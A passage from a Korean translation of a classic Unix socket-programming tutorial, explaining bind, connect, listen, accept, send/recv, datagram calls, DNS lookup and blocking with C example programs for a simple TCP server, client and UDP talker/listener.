    #include <string.h>     #include <sys/types.h>     #include <sys/socket.h>     #define MYPORT 3490    main()    {        int sockfd;        struct sockaddr_in my_addr;        sockfd = socket(AF_INET, SOCK_STREAM, 0); /* do some error checking! */        my_addr.sin_family = AF_INET;     /* host byte order */        my_addr.sin_port = htons(MYPORT); /* short, network byte order */        my_addr.sin_addr.s_addr = inet_addr("132.241.5.10");        bzero(&(my_addr.sin_zero), 8);    /* zero the rest of the struct */        /* don't forget your error checking for bind(): */        bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));        .        .        .

몇가지 주의할 점은 my_addr.sin_port 는 my_addr.sin_addr.s_addr과 같이 NBO이다. 또한 헤더화일은 각각의 시스템마다 다를 수 있으므로 각자의 시스템의 맨 페이지를 참고해야 할 것이다.

마지막으로 bind()와 관련해서 주소나 포트의 지정이 때에 따라서 자동화 될 수도 있다는 것을 언급해야 할 것같다.

        my_addr.sin_port = 0; /* choose an unused port at random */        my_addr.sin_addr.s_addr = INADDR_ANY;  /* use my IP address */

my_addr.sin_port를 0으로 지정하면 자동으로 사용되지 않고 있는 포트 번호를 지정해 줄것이며 my_addr.sin_addr.s_addr를 INADDR_ANY로 지정할 경우 현재 작동되고 있는 자신의 IP주소를 자동으로 지정해 주게 된다.

만약 여기서 약간만 주의를 기울였다면 INADDR_ANY를 지정할 때 NBO로 바꾸는 것을 빼먹은 것을 눈치챌 것이다. 나아쁜~~. 그러나 난 내부정보를 알고 있지롱. 사실은 INADDR_ANY는 0이다. 0은 순서를 바꾸어도 0인것이다. 그러나 순수이론적인 측면에서 INADDR_ANY가 그러니까 12정도인 세계가 존재한다면 이 코드는 작동 안할것이다. 그래서? 난 상관없다. 정 그렇다면,

        my_addr.sin_port = htons(0); /* choose an unused port at random */        my_addr.sin_addr.s_addr = htonl(INADDR_ANY);  /* use my IP address */

이제는 믿기 어려울 정도로 이식가능한 코드가 되었다. 다만 지적하고 싶은 것은 작동하는 데에는 아무 문제가 없다는 점이다.

bind()또한 에러가 났을때 -1을 돌려주며 errno에 에러의 코드가 남게 된다.

bind()를 호출할 때 주의할점 : 절대 제한선 아래로 포트번호를 내리지 말라는 것이다. 1024 아래의 번호는 모두 예약되어 있다. 그 위로는 65535까지 원하는 대로 쓸 수가 있다. (다른 프로그램이 쓰고 있지 않은 경우에 한해서..)

또 하나의 작은 꼬리말 : bind() 를 호출하지 않아도 되는 경우가 있다. 만일 다른 호스트에 연결 (connect())하고자 하는 경우에는 자신의 포트에는 (텔넷의 경우처럼)전혀 신경 쓸 필요가 없다. 단지 connect()를 호출하기만 하면 알아서 bind가 되어 있는지를 체크해서 비어있는 포트에 bind를 해준다.


connect() ; 어이~ 거기~

이제 잠깐만 마치 자신이 텔넷 프로그램인 것처럼 생각해 보기로 하자. 당신의 사용자는 명령하기를 (TRON영화에서처럼.. (역자: 난 그 영화 안 봤는데..)) 소켓 기술자를 얻어오라 했고 당신은 즉시 socket()를 호출했다. 다음에 사용자는 132.241.5.10 에 포트 23(정규 텔넷 포트번호)에 연결하라고 한다. 윽, 이젠 어떻게 하지?

다행스럽게도 당신(프로그램)은 connect()절(어떻게 연결하는가)를 심각하게 읽고 있으며 당신의 주인을 실망시키지 않으려고 미친듯이 읽어나가는 중이로다~~

connet()는 다음과 같이 선언한다.

    #include <sys/types.h>     #include <sys/socket.h>     int connect(int sockfd, struct sockaddr *serv_addr, int addrlen);

sockfd는 이제는 친숙해진 소켓 기술자이며 serv_addr은 연결하고자 하는 목적지인 서버의 주소와 포트에 관한 정보를 담고 있는 struct sockaddr 이며 addrlen은 앞에서 이야기 한것과 같이 그 구조체의 크기이다.

뭔가 좀 이해가 갈듯 하지 않은가? 예를 들어 보자.

    #include <string.h>     #include <sys/types.h>     #include <sys/socket.h>     #define DEST_IP   "132.241.5.10"    #define DEST_PORT 23    main()    {        int sockfd;        struct sockaddr_in dest_addr;   /* will hold the destination addr */        sockfd = socket(AF_INET, SOCK_STREAM, 0); /* do some error checking! */        dest_addr.sin_family = AF_INET;        /* host byte order */        dest_addr.sin_port = htons(DEST_PORT); /* short, network byte order */        dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);        bzero(&(dest_addr.sin_zero), 8);       /* zero the rest of the struct */        /* don't forget to error check the connect()! */        connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));        .        .        .

다시 말하건데 connect()의 결과값을 한번 체크해 봐야 한다. 에러일 경우 -1을 돌려주고 errno를 세팅하기 때문이다.

또한 bind()를 호출하지 않은 것에 주의해야 한다. 기본적으로 여기서는 자신의 포트 번호에는 결코 관심이 없기 때문이다. 단지 어디로 가는가만이 중요하다. 커널이 알아서 로컬 포트를 선정해 줄 것이며 우리가 연결하고자 하는 곳에서는 자동으로 이 정보를 알게 될 것이다.


listen() ; 누가 전화좀 걸어주지~

이제 보조를 바꾸어서, 만약에 어디론가 연결하고자 하는 것이 아니라 외부로부터의 접속을 대기해서 접속이 올 경우 어떤 방식으로든지 간에 처리를 해 주어야 하는 경우라면 어찌 할 것인가. 이 작업은 두 단계로 이루어진다. 먼저 listen()을 해야 되고 그 다음에 accept()를 해야 된다는 것이다.

listen()은 상당히 간단하지만 약간의 설명은 필요하다.

    int listen(int sockfd, int backlog);

sockfd는 보통의 소켓 기술자이며 backlog는 접속대기 큐의 최대 연결 가능 숫자이다. 그건 또 뭔 얘기인가? 외부로부터의 연결은 이 대기 큐에서 accept()가 호출될 때까지 기다려야 한다는 것이며 숫자는 바로 얼마나 많은 접속이 이 큐에 쌓여질 수 있는가 하는 것이다. 대부분의 시스템은 이 숫자를 조용하게 20정도에서 제한하고 있으며 보통은 5에서 10 사이로 지정하게 된다.

또 다시 listen()도 에러의 경우 -1을 돌려주며 errno를 세팅한다.

아마 상상할 수 있듯이 listen()보다 앞서서 bind()를 호출해야 하며 만약에 bind()가 되지 않으면 우리는 랜덤하게 지정된 포트에서 외부의 접속을 기다려야 한다. (포트를 모르고서 누가 접속할 수 있겠는가? 우엑~~) 따라서 외부의 접속을 기다리는 경우라면 다음 순서대로 작업이 진행되어야 하는 것이다.

    socket();    bind();    listen();    /* accept() goes here */

위의 것만으로도 이해가 갈만하다고 보고 예제에 대신하겠다. (accept()절에 보다 괜찮은 코드가 준비되어 있다.) 이 모든 sha-bang(역자: 이 뭐꼬?)중에서 가장 헷갈리는 부분은 accept()를 부르는 부분이다.


accept() ; 포트 3490에 전화걸어주셔서 감사합니다.

준비! accept()를 호출하는 것은 뭔가 좀 수상하긴 하다. 과연 뭐가 벌어지는가? 저 멀리 떨어진 곳에서 누군가가 connect()를 호출하여 당신이 listen()을 호출하고 기다리는 포트에 접속을 시도한다. 그들의 연결은 바로 accept()가 호출되기 까지 큐에서 바로 당신이 accept()를 호출하여 그 연결을 지속하라고 명령할 때까지 대기하게 된다. 그러면 이 함수는 오로지 이 연결을 위한 완전히 신제품 소켓 파일 기술자를 돌려주게 된다. 갑자기 당신은 하나값으로 두개의 소켓 기술자를 갖게 되는 것이다. 원래의 것은 아직도 그 포트에서 연결을 listen()하고 있다. 또 하나는 새롭게 창조되어 드디어 send()와 recv()를 할 준비가 되도록 하는 것이다.

드디어 여기까지 왔다! 감격~~

선언은 아래와 같다.

     #include <sys/socket.h>      int accept(int sockfd, void *addr, int *addrlen);

sockfd는 listen()하고 있는 소켓의 기술자이다. 뻔하지 뭐.. addr은 로컬 struct sockaddr_in의 포인터이다. 여기에 들어온 접속에 관한 정보가 담겨지게 되고 이를 이용해서 어느 호스트에서 어느 포트를 이용해서 접속이 들어왔는지를 알 수 있게 된다. addrlen은 로컬 정수 변수이며 이 정수에는 struct sockaddr_in의 크기가 미리 지정되어 있어야 한다. 이 숫자보다 더 많은 바이트의 정보가 들어오면 accept()는 받아 들이지 않을 것이며 적데 들어온다면 addrlen의 값을 줄여 줄 것이다.

accept() 는 에러가 났을 경우에 어떻게 한다고? -1을 돌려주고 errno 를 세팅한다.

아까 맨치로 한방에 받아들이기에는 좀 그러니까 예제를 열심히 읽어 보자.

    #include <string.h>     #include <sys/types.h>     #include <sys/socket.h>     #define MYPORT 3490    /* the port users will be connecting to */    #define BACKLOG 10     /* how many pending connections queue will hold */    main()    {        int sockfd, new_fd;  /* listen on sock_fd, new connection on new_fd */        struct sockaddr_in my_addr;    /* my address information */        struct sockaddr_in their_addr; /* connector's address information */        int sin_size;        sockfd = socket(AF_INET, SOCK_STREAM, 0); /* do some error checking! */        my_addr.sin_family = AF_INET;         /* host byte order */        my_addr.sin_port = htons(MYPORT);     /* short, network byte order */        my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */        bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */        /* don't forget your error checking for these calls: */        bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));        listen(sockfd, BACKLOG);        sin_size = sizeof(struct sockaddr_in);        new_fd = accept(sockfd, &their_addr, &sin_size);        .        .        .

이제 new_fd를 이용해서 send()와 recv()를 이용할 수 있다는 것이다. 만약 원한다면 더이상의 연결을 받아들이지 않고 하나의 연결만 이용하기 위해서 close()를 이용하여 원래의 sockfd를 막아 버릴 수도 있다.


send(), recv() ; 말좀해봐~

이 두 함수는 스트림 소켓이나 연결된 데이터그램 소켓위에서 정보를 주고 받을때 사용하는 것들이다. 만약 보통의 비연결 데이터그램 소켓을 사용한다면 sendto()와 recvfrom()절을 참조하도록 한다.

send() 호출의 선언은 아래와 같다.

    int send(int sockfd, const void *msg, int len, int flags);

sockfd는 socket()를 통해서 얻었거나 accept()를 통해서 새로 구한, 데이터를 보낼 소켓의 기술자이며, msg는 보낼 데이터를 가리키는 포인터, len은 보낼 데이터의 바이트 수 이며 flags 는 그냥 0으로 해야 한다. (플래그에 관한 보다 자세한 내용은 send()의 맨 페이지를 참조할것.)

약간의 예제가 다음과 같다.

    char *msg = "Beej was here!";    int len, bytes_sent;    .    .    len = strlen(msg);    bytes_sent = send(sockfd, msg, len, 0);    .    .    .

send()는 결과값으로 보내진 모든 바이트 수를 돌려주는데 이것은 보내라고 한 숫자보다 작을 수도 있다. 가끔은 보내고자 하는 데이터의 크기가 미처 감당하지 못할 만한 숫자인 경우도 있으며 이 경우 send()는 자기가 감당할 수 있는 숫자만큼만 보내고 나머지는 잘라 버린후 당신이 그 나머지를 다시 보내 줄 것으로 기대하는 것이다. 만약에 보내라고 한 데이터의 크기보다 작은 숫자가 결과값으로 돌아 왔다면 그 나머지 데이터를 보내는 것은 전적으로 당신의 책임인 것이다. 그나마 희소식은 데이터의 사이즈가 작다면 (1k 이내라면) 아마도 한번에 모두 보낼 수 있을 것이다. 또한 에러의 경우 -1을 돌려주며 errno를 세팅한다.

recv()의 경우도 상당히 유사하다.

    int recv(int sockfd, void *buf, int len, unsigned int flags);

sockfd는 읽어올 소켓의 기술자이며 buf는 정보를 담을 버퍼이다. len은 버퍼의 최대 크기이고 flags는 0으로 세팅해야 한다. (자세한 flags의 정보는 recv() 맨 페이지를 참조할것.)

recv()는 실제 읽어들인 바이트 숫자를 돌려주며 에러의 경우는 -1, errno를 세팅한다.

쉬웠을까? 쉬웠지.. 이제 당신은 스트림 소켓을 이용해서 데이터를 보내고 받을 수 있게 되었다. 우와~ 유닉스 네트워크 프로그래머네~~


sendto(), recvfrom() ; 말좀해봐~ 데이터 그램 방식

괜찮은걸, 이라고 말하고 있는줄로 생각하겠다. 그런데 데이터그램에 관한 나머지는 어딨지? 노프라블레모~ 아미고~(역자: 터미네이터2가 생각나는군~~) 이제 할 것이다.

데이터그램 소켓은 연결을 할 필요가 없다면 데이터를 보내기 전에 주어야 할 나머지 정보는 어떻게 주어야 하는가? 맞다. 목적지의 주소를 알려주어야 한다. 여기에 예제가 있다.

    int sendto(int sockfd, const void *msg, int len, unsigned int flags,               const struct sockaddr *to, int tolen);

보다시피 이 함수는 두가지 부가정보가 더 들어간 것 이외에는 기본적으로 send()와 동일하다. to 는 struct sockaddr의 포인터이며(아마도 struct sockaddr_in) 여기에는 목적지의 주소와 포트번호가 담겨 있어야 할 것이다. tolen은 그 구조체의 크기인 것이다.

send()와 마찬가지로 sendto()도 보내어진 데이터의 바이트수를 결과로 돌려주며(실제 보내라고 준 데이터의 크기보다 작을지도 모르는), 에러의 경우 -1을 돌려준다.

비슷하게 recvfrom()도 아래와 같다.

    int recvfrom(int sockfd, void *buf, int len, unsigned int flags                 struct sockaddr *from, int *fromlen);

역시 이것도 두가지 변수가 더 주어지게 된다. from은 데이터를 보내는 장비의 주소와 포트를 담고 있는 struct sockaddr 이며 fromlen은 로컬 정수변수로서 구조체의 크기가 세팅되어 있어야 한다. 함수가 호출된 뒤에는 fromlen에는 실제 from의 크기가 수록되게 된다.

recvfrom()은 실제 받은 데이터의 바이트수를 돌려주며 에러의 경우는 -1, errno를 세팅하게 된다.

만약 connect()를 이용하여 데이터그램 소켓을 연결한 후의 상황이라면 간단히 send(), recv() 를 사용해도 상관 없으며 소켓 인터페이스는 자동으로 목적지와 소스에 관한 정보를 함수에 추가해서 작동되게 될 것이다.


close(), shutdown() ; 꺼지쇼.

휴~~ 하루종일 데이터를 보내고 받았더니..이제는 소켓을 닫을 때가 된 것이다. 이건 쉽다. 정규 파일 기술자에 관한 close()를 사용하면 되는 것이다.

    close(sockfd);

이것으로 더이상의 입출력은 불가능 해지며 누구든지 원격지에서 이 소켓에 읽고 쓰려고 하는 자는 에러를 받게 될 것이다.

약간 더 세밀한 제어를 위해서는 shutdown()을 사용하면 된다. 이것을 이용하면 특정방향으로의 통신만을 끊을 수도 있게 된다.

    int shutdown(int sockfd, int how);

sockfd는 소켓 기술자이며 how는 다음과 같다.

  • 0 - 더이상의 수신 금지
  • 1 - 더이상의 송신 금지
  • 2 - 더이상의 송수신 금지(close()와 같은 경우)

shutdown() 은 에러의 경우 -1을 돌려주며 errno를 세팅한다.

황송하옵게도 연결도 되지않은 데이터그램 소켓에 shutdown()을 사용한다면 단지 send(), recv()를 사용하지 못하게만 만들 것이다. connect()를 사용한 경우에만 이렇게 사용할 수 있다는 것을 기억해야 한다. (역자: 그렇다면 sendto, recvfrom은 사용이 된다는 얘기인가??테스트가 필요할듯.)

암것도 아니군.


getpeername() ; 누구십니까?

이 함수는 되게 쉽다.

너무 쉬워서 절을 따로 만들 필요가 없지않나 고민했지만 여기 있는걸 보니까..

getpeername()은 상대편 쪽 스트림 소켓에 누가 연결되어 있는가를 알려준다.

    #include <sys/socket.h>     int getpeername(int sockfd, struct sockaddr *addr, int *addrlen);

sockfd는 연결된 스트림 소켓의 기술자이며 addr은 상대편의 정보를 담게 될 struct sockaddr(또는 struct sockaddr_in)의 포인터 이며 addrlen은 정수를 가리키는 포인터로서 구조체의 크기가 지정되어 있어야 한다.

에러의 경우는 -1을 돌려주고 errno를 세팅한다. (외우겠군.)

일단 주소를 알게되면 inet_ntoa()나 gethostbyaddr()을 이용하여 좀더 많은 정보를 알아낼 수 있게 되지만 상대편의 login name을 알게되는 것은 아니다. (만일 상대편에 ident 데몬이 돌고 있다면 알아낼 방법이 없는 것은 아니지만 이 내용은 이 글의 취지를 벗어나는 내용이므로 RFC-1413을 참조하라고 말하고 싶다.)


gethostname() ; 난 누구인가?

getpeername()보다 더 쉬운 것이 이 함수이다. 결과로 프로그램이 돌고 있는 컴퓨터의 이름을 알려준다. 이름은 gethostbyname()을 이용하여 로컬 장비의 IP주소를 알아내는데 사용될 수도 있다.

뭐가 더 재미있는가? 몇가지 생각해 볼 수 있는데 이 문서에는 적절하지 않은 내용이다(역자: 과연 뭘까..되게 궁금하네..). 어쨌거나,

    #include <unistd.h>    int gethostname(char *hostname, size_t size);

hostname은 문자열의 포인터이며 함수가 돌려주는 값을 담게 될 변수이다. size는 그 문자열의 크기이다.

성공적이면 0을, 에러의 경우 -1을 리턴하고 errno를 세팅한다.


DNS ; whitehouse.gov - 198.137.240.100

모르는 사람을 위하여 DNS는 Domain Name Service 라는 것을 먼저 얘기 하겠다. 간결하게 얘기한다면 DNS에다가 사람이 읽을수 있는 주소를 말해주면 DNS는 bind,connect,sendto,어쨌거나 IP주소가 필요한 것들에서 사용할 수 있는 IP주소를 돌려준다. 즉 누군가가 이렇게 입력했다면

    $ telnet whitehouse.gov

telnet 은 connect()에 사용하기 위해서 198.137.240.100이라는 IP주소를 찾아내게 된다. 그런데 어떻게 그렇게 하는 것인가? gethostbyname()을 사용하면 된다.

    #include <netdb.h>         struct hostent *gethostbyname(const char *name);

보다시피 결과로 struct hostent의 포인터가 돌아온다. 그 구조는 아래와 같다.

    struct hostent {        char    *h_name;        char    **h_aliases;        int     h_addrtype;        int     h_length;        char    **h_addr_list;    };    #define h_addr h_addr_list[0]

각 필드에 대한 설명은 다음과 같다.

  • h_name - 호스트의 공식적인 이름
  • h_aliases - 호스트의 별명으로서 NULL 로 끝맺음된다.
  • h_addrtype - 주소의 종류, 보통 AF_INET
  • h_length - 주소의 바이트 수
  • h_addr_list - 0으로 끝나는 네트워크 주소들, NBO로 되어 있다.
  • h_addr - h_addr_list속의 첫번째 주소

gethostbyname()은 위의 구조체의 포인터를 돌려주게 되며 에러의 경우 NULL을 돌려준다. errno는 세팅되지 않고 h_errno가 세팅이 된다. (아래의 herror()참조)

그런데 이걸 어떻게 사용하는가? 보통 컴퓨터 매뉴얼들 처럼 독자앞에 정보를 마구 쌓아놓은 것만으로는 부족한 법이다. 이 함수는 사실 보기보다는 쓰기가 쉬운 편이다.

예제를 보자.

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <netdb.h>     #include <sys/types.h>    #include <netinet/in.h>     int main(int argc, char *argv[])    {        struct hostent *h;        if (argc != 2) {  /* error check the command line */            fprintf(stderr,"usage: getip address\n");            exit(1);        }        if ((h=gethostbyname(argv[1])) == NULL) {  /* get the host info */            herror("gethostbyname");            exit(1);        }        printf("Host name  : %s\n", h->h_name);        printf("IP Address : %s\n",inet_ntoa(*((struct in_addr *)h->h_addr)));        return 0;    }

gethostbyname()에서는 errno가 세팅되지 않는 까닭으로 perror()를 사용할 수 없고 herror()을 사용해야 한다.

간단히 호스트의 이름을 담고 있는 스트링을 gethostbyname()함수에 넣어 줌으로써 바로 struct hostent 를 얻게 되는 것이다.

남아있는 한가지 수상한 점은 위의 방법으로 어떻게 주소를 숫자와 점으로 출력할 것인가 하는 문제이다. h->h_addr 은 문자 포인터( char *) 인데 inet_ntoa()는 변수로서 struct in_addr 을 원하기 때문이다. 따라서 h->h_addr 을 struct in_addr * 으로 형변환을 하고 결과값을 얻기 위해 다시 역참조 하면 된다는 것이다.


클라이언트-서버의 배경

요즘은 클라이언트-서버가 판치는 세상이죠~~ 네트워크에 관한 모든 것은 서버 프로세스를 요청하는 클라이언트 프로세스로서 다루어진다. 텔넷을 이용하여 23번 포트에 접속하는 (클라이언트)것은 서버프로그램(telnetd)을 작동시키게 되는 것이며 이 서버 프로그램은 들어오는 각종 신호를 받아들여서 당신의 텔넷 접속을 위하여 로그인 프롬프트를 주게 되는 것이다. 등등..

[Client-Server Relationship] 그림2. 클라이언트-서버간의 관계

클라이언트와 서버간의 정보 교환의 모델이 그림에 잘 나와있다.

주목할점은 클라이언트와 서버간에는 SOCK_STREAM이든, SOCK_DGRAM이든지간에 같은 것으로만 된다면 의사소통이 된다는 것이다. 좋은 예들은 telnet-telnetd, ftp-ftpd, 또는 bootp-bootpd 등이다. ftp를 쓴다면 반드시 상대편에 ftpd가 돌고 있다는 것이다.

보통 호스트에는 하나의 서버 프로그램이 돌고 있게 된다. 그리고 그 서버는 fork()를 이용하여 다중의 클라이언트를 받게 되는 것이다. 기본적인 루틴의 구조는 다음과 같다. 서버는 접속을 대기하다가 accept()를 호출하게 되며 그 때 fork()를 이용하여 자식 프로세스를 만들어내어 그 접속을 처리하게 된다. 이것이 바로 다음에 소개될 예제 서버 프로그램의 구조이다.


간단한 스트림 서버

이 서버가 하는 일은 오직 스트림 접속을 하게 되는 모든 클라이언트에게 "Hello, World!\n"을 출력해 주는 것이다. 이 서버를 테스트하기 위해서는 하나의 윈도우에서 이 서버를 실행시켜 놓고 다른 윈도우에서 텔넷 접속을 시도해 보는 것이다.

    $ telnet remotehostname 3490

hostname 은 서버 프로그램이 작동된 호스트의 이름이다.

서버 프로그램 코드

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <string.h>     #include <sys/types.h>     #include <netinet/in.h>     #include <sys/socket.h>     #include <sys/wait.h>     #define MYPORT 3490    /* the port users will be connecting to */    #define BACKLOG 10     /* how many pending connections queue will hold */    main()    {        int sockfd, new_fd;  /* listen on sock_fd, new connection on new_fd */        struct sockaddr_in my_addr;    /* my address information */        struct sockaddr_in their_addr; /* connector's address information */        int sin_size;        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {            perror("socket");            exit(1);        }        my_addr.sin_family = AF_INET;         /* host byte order */        my_addr.sin_port = htons(MYPORT);     /* short, network byte order */        my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */        bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */        if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \                                                                      == -1) {            perror("bind");            exit(1);        }        if (listen(sockfd, BACKLOG) == -1) {            perror("listen");            exit(1);        }        while(1) {  /* main accept() loop */            sin_size = sizeof(struct sockaddr_in);            if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \                                                          &sin_size)) == -1) {                perror("accept");                continue;            }            printf("server: got connection from %s\n", \                                               inet_ntoa(their_addr.sin_addr));            if (!fork()) { /* this is the child process */                if (send(new_fd, "Hello, world!\n", 14, 0) == -1)                    perror("send");                close(new_fd);                exit(0);            }            close(new_fd);  /* parent doesn't need this */            while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child processes */        }    }

이 코드는 문법상의 단순함을 위하여 하나의 커다란(내 생각에) main()에 모든 것이 들어가 있다. 만약에 이것을 잘게 잘라서 작은 여러개의 함수로 구성을 하는것이 좋다고 생각된다면 그래도 된다.

다음의 클라이언트 코드를 이용한다면 이 서버로부터 문자열을 받아 낼수도 있다.


간단한 스트림 클라이언트

이녀석은 서버보다 더 쉬운 코드이다. 이 프로그램이 하는 일은 명령행에서 지정된 주소에 3490번 포트에 접속하여 서버가 보내는 문자열을 받는 것 뿐이다.

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <string.h>     #include <netdb.h>     #include <sys/types.h>     #include <netinet/in.h>     #include <sys/socket.h>     #define PORT 3490    /* the port client will be connecting to */    #define MAXDATASIZE 100 /* max number of bytes we can get at once */    int main(int argc, char *argv[])    {        int sockfd, numbytes;          char buf[MAXDATASIZE];        struct hostent *he;        struct sockaddr_in their_addr; /* connector's address information */        if (argc != 2) {            fprintf(stderr,"usage: client hostname\n");            exit(1);        }        if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */            herror("gethostbyname");            exit(1);        }        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {            perror("socket");            exit(1);        }        their_addr.sin_family = AF_INET;      /* host byte order */        their_addr.sin_port = htons(PORT);    /* short, network byte order */        their_addr.sin_addr = *((struct in_addr *)he->h_addr);        bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */        if (connect(sockfd, (struct sockaddr *)&their_addr, \                                              sizeof(struct sockaddr)) == -1) {            perror("connect");            exit(1);        }        if ((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1) {            perror("recv");            exit(1);        }        buf[numbytes] = '\0';        printf("Received: %s",buf);        close(sockfd);        return 0;    }

이 클라이언트를 작동하기에 앞서서 서버를 작동시켜놓지 않았다면 connect()함수는 "Connection refused"를 돌려주게 될것이다. 쓸만하군!


데이터그램 소켓

이에 관해서는 그다지 얘기할 것이 많지 않다. 따라서 그냥 두개의 프로그램을 보여 주겠다.

listener는 호스트에 앉아서 4950포트에 들어오는 데이터 패킷을 기다린다. talker는 지정된 호스트의 그 포트로 뭐든지 간에 사용자가 입력한 데이터를 보낸다.

listener.c

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <string.h>     #include <sys/types.h>     #include <netinet/in.h>     #include <sys/socket.h>     #include <sys/wait.h>     #define MYPORT 4950    /* the port users will be connecting to */    #define MAXBUFLEN 100    main()    {        int sockfd;        struct sockaddr_in my_addr;    /* my address information */        struct sockaddr_in their_addr; /* connector's address information */        int addr_len, numbytes;        char buf[MAXBUFLEN];        if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {            perror("socket");            exit(1);        }        my_addr.sin_family = AF_INET;         /* host byte order */        my_addr.sin_port = htons(MYPORT);     /* short, network byte order */        my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */        bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */        if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \                                                                       == -1) {            perror("bind");            exit(1);        }        addr_len = sizeof(struct sockaddr);        if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, \                           (struct sockaddr *)&their_addr, &addr_len)) == -1) {            perror("recvfrom");            exit(1);        }        printf("got packet from %s\n",inet_ntoa(their_addr.sin_addr));        printf("packet is %d bytes long\n",numbytes);        buf[numbytes] = '\0';        printf("packet contains \"%s\"\n",buf);        close(sockfd);    }

결국 socket()를 호출할 때 SOCK_DGRAM을 사용하게 된것을 주의하고, listen()이나 accept()를 사용하지 않은것도 주의해 봐야 한다. 이 코드가 바로 비연결 데이터그램 소켓의 자랑스러운 사용예인 것이다.

talker.c

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <string.h>     #include <sys/types.h>     #include <netinet/in.h>     #include <netdb.h>     #include <sys/socket.h>     #include <sys/wait.h>     #define MYPORT 4950    /* the port users will be connecting to */    int main(int argc, char *argv[])    {        int sockfd;        struct sockaddr_in their_addr; /* connector's address information */        struct hostent *he;        int numbytes;        if (argc != 3) {            fprintf(stderr,"usage: talker hostname message\n");            exit(1);        }        if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */            herror("gethostbyname");            exit(1);        }        if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {            perror("socket");            exit(1);        }        their_addr.sin_family = AF_INET;      /* host byte order */        their_addr.sin_port = htons(MYPORT);  /* short, network byte order */        their_addr.sin_addr = *((struct in_addr *)he->h_addr);        bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */        if ((numbytes=sendto(sockfd, argv[2], strlen(argv[2]), 0, \             (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) {            perror("sendto");            exit(1);        }        printf("sent %d bytes to %s\n",numbytes,inet_ntoa(their_addr.sin_addr));        close(sockfd);        return 0;    }

이것이 다다. listener를 한 호스트에서 실행 시키고 다른 곳에서 talker를 실행시킨다. 핵가족시대에 어울리는 가족용 오락이 될수도...

앞에서도 얘기했었지만 한가지 작은 내용을 더 말해야 할것 같다. 만약 talker에서 connect()를 호출해서 연결을 했다면 그 다음부터는 sendto(), recvfrom()이 아니라 그냥 send().recv()를 사용해도 된다는 것이다. 전달되어야 하는 호스트의 주소는 connect()에 지정된 주소가 사용되게 된다.


블로킹

블로킹. 아마 들어봤겠지. 그런데 도대체 그게 뭘까? 사실 "잠들다"의 기술용어에 불과한 것이다. 아마도 listener를 실행시키면서 눈치를 챘겠지만 그 프로그램은 그저 앉아서 데이터 패킷이 올때까지 기다리는 것이다. 잠자면서.. recvfrom()을 호출했는데 데이터가 들어온 것이 없다면? 바로 뭔가 데이터가 들어올 때까지 블로킹이 되는 것이다(그냥 거기서 자고 있는 것이다.).

많은 함수들이 블로킹이 된다. accept()는 블록이 된다. recv*()종류들이 모두 블록이 된다. 그들이 이렇게 할 수 있는 이유는 그렇게 할 수 있도록 허락을 받았기 때문이다. 처음에 socket()으로 소켓이 만들어질때 커널이 블록 가능하도록 세팅을 했기 때문이다. 만일 블록할수 없도록 세팅하려면 fcntl()을 사용한다.

    #include <unistd.h>     #include <fcntl.h>     .    .    sockfd = socket(AF_INET, SOCK_STREAM, 0);    fcntl(sockfd, F_SETFL, O_NONBLOCK);    .    .

소켓을 블록할수 없도록 세팅함으로써 정보를 추출하는 데에 효과적으로 socket을 이용할 수 있다. 만일 데이터가 접수되지 않은 소켓에서 데이터를 읽으려고 시도한다면 -1을 결과로 돌려주고 errno를 EWOULDBLOCK 으로 세팅하게 된다.

일반적으로는 이런 식으로 정보를 뽑아 내는 것은 별로 좋은 방식은 아니다. 만일 들어오는 데이터를 감시하기 위하여 이런 방식으로 바쁘게 데이터를 찾는 루틴을 만든다면 이는 CPU 시간을 소모하게 되는 것이다. 구식이다. 보다 멋진 방법은 다음절에 나오는 select()를 사용하여 데이터를 기다리는 식이다.


select() ; 동기화된 중복 입출력. 대단하군!

이건 뭔가 좀 이상한 함수이다. 그러나 상당히 유용하므로 잘 읽어보기 바란다. 다음 상황을 가정해 보자. 지금 서버를 돌리고 있으며 이미 연결된 소켓에서 데이터가 들어오는 것을 기다리고 있다고 하자.

문제없지, 그냥 accept()하고 recv()몇개면 될텐데.. 서둘지 말지어다, 친구. 만일 accept()에서 블로킹이 된다면? 동시에 어떻게 recv()를 쓸 것인가? 블로킹 못하게 세팅한다고? CPU시간을 낭비하지 말라니까. 그러면 어떻게?

더이상 떠들지 말고 다음을 보여주겠다.

       #include <sys/time.h>        #include <sys/types.h>        #include <unistd.h>        int select(int numfds, fd_set *readfds, fd_set *writefds,                  fd_set *exceptfds, struct timeval *timeout);

